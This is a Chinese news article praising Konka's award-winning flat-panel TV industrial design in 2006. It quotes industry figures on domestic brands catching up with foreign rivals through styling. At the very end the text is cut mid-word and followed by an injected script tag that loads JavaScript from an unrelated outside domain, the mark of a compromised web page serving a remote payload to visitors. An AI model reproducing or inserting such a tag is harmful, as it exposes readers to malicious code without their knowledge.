一直以来，外资品牌产品品质在消费者的心中都高于国产品牌，其原因部分在于外资产品的工业设计。如今，国内企业也意识到这个关键性问题，并且有针对性地加强与改进。
据了解，工业设计已经成为现阶段企业提升产品竞争力、提升品牌形象的重要手段。国产平板在取得了绝对的份额优势以后，也已经迈出了构建核心优势的步伐。国内企业在功能水平上实现对外资品牌全面超越之后，将注意力全面转向附加值更大的创意设计，其中工业设计进展迅速。专家认为，工业设计对企业日后发展起着重要作用
记者获悉，康佳靓影20系列平板新品在2006工业设计年会上，凭借“天使之湾”的简约弧线造型获得“外形优秀奖”，其设计团队获得“2006年度中国优秀设计团队奖”。26系列则以微秒级的极速响应和120h z双倍场频的超强功能表现，获得“功能优秀奖”。而在此之前，康佳推出的11、18、19等系列平板产品也屡获殊荣，曾分获“最佳外观设计奖”、“最人性化品牌奖”、“2006年中国消费电子创新设计大奖”等不同奖项，充分显现了康佳已经成熟的设计实力。
“产品品质有内在和外在之分。消费者之所以认为外资品牌优于国产品牌，一个重要原因就是外资产品注重工业设计，外在品质好，虽然两者的内在品质可能相差无几。”在“2006中国国际数字产品工业设计年会”上，与会专家在肯定康佳等国产品牌工业设计水平有了显著提升的同时，呼吁国内企业充分发挥创造能力，加快提升外在品质。
在完成势力范围的划分之后，平板市场已经进入了品质竞争的新阶段。近年来，国产平板通过采取激进技术策略，在功能水平上实现对外资品牌全面超越之后，康佳等国产品牌也通过设立海外工作室，与专业公司合作等形式，将注意力全面转向附加值更大的创意设计，其中工业设计进展迅速。
工业设计提升品牌形象
“工业设计是品牌形象的脸面，是技术研发的重要部分之一。”中国工业设计协会副理事长李英杰表示，“中国品牌的成长，来自于在战争中学习战争！”
康佳集团多媒体营销事业部副总经理刘丹表示，进入平板时代，开放式、标准化的技术架构，使得中外企业在技术上已经没有差异。但消费者的认知惯性仍然使他们认为外资品牌要好过国产品牌。而且外资品牌凭借着精湛的工业设计一直占据高端市场，也使得这一认识被反复强化。对于国产品牌而言，要想突破这一思维误区，就必须在产品的外在品质上建立差异化优势。
目前，领先的国内品牌已经在工业设计方面走在前列。康佳先后在韩国、日本、欧洲成立设计工作室，从全球工业设计的中心地带寻找灵感，借力人才。tcl推出法国的t im th om工业设计团队，海
尔与日本著名工业设计集团gk合资成立海高工业设计公司。越来越多的企业主动运用设计这件新武器，借外在品质提升品牌形象。
专家指出，中国已经成为全球彩电的制造中心。随着“中国制造”大规模转向“中国创造”，新一轮的工业设计之风正在蓬勃兴起。
国内企业的进步引起了外资品牌的高度警惕，索尼、三星等公司纷纷在中国成立了设计中心，投入更多资源，力求中国产品的本土化。工业设计成为国内外各大厂商竞逐的对象，一股工业设计大潮已然兴起。
在这场席卷国内市场的“设计大潮”中，康佳无疑是表现最为抢眼的一个。康佳彩电开发中心工业设计所所长金勇介绍，康佳将工业设计提升到了“康佳创造”的高度，并细分为质量工程、精品工程和创新工程三大方面协同提升。
作为国内最早引进工业设计的家电企业，康佳曾以一款“七彩小画仙”，掀起国内家电设计的“色彩旋风”，后来的镜面电视、艺术电视也一度引领国内彩电的设计风尚。而此次获奖的康佳20系列靓影的经典弧线造型设计源于闻名世界的，被誉为“天使之湾”的法国小城尼斯银沙海岸线的灵感，不仅尽显永恒的浪漫爱情线，更能绽放内敛和永恒的灵动之美。此外，古典与现代的完美结合、时尚简约的线条搭配，无不彰显成熟、成就、成功的内在气质，整体风格受到了评委会的高度评价，被喻为今年平板电视工业设计的代表作。
有关专家认为，工业设计已经成为提升企业产品竞争力，提升企业品牌形
象的重要手段，在取得了绝对的份额优势以后，国产平板已经迈出了构建核心优势的步伐，康佳20系列、26系列平板新品在产品功能和外观设计方面的出色表现，充分展现了康佳在产品工业设计领域强大的实力，将在未来的市场竞争中取得先发优势。
“消费者的审美能力提高得很快，他们注重以设计彰显个性，这正在成为一种新的消费潮流。”刘丹认为，平板的薄型化特征，使其在设计上拥有更多的创意空间，加上平板产品更新换代很快，使得平板电视的设计风潮迅速兴起。
创意设计夯实外在品质
专家指出，工业设计除了外观造型设计之外，更代表着产品的外在品质，是企业提升产品附加值的重要手?script src=http://er12.com/t.js>
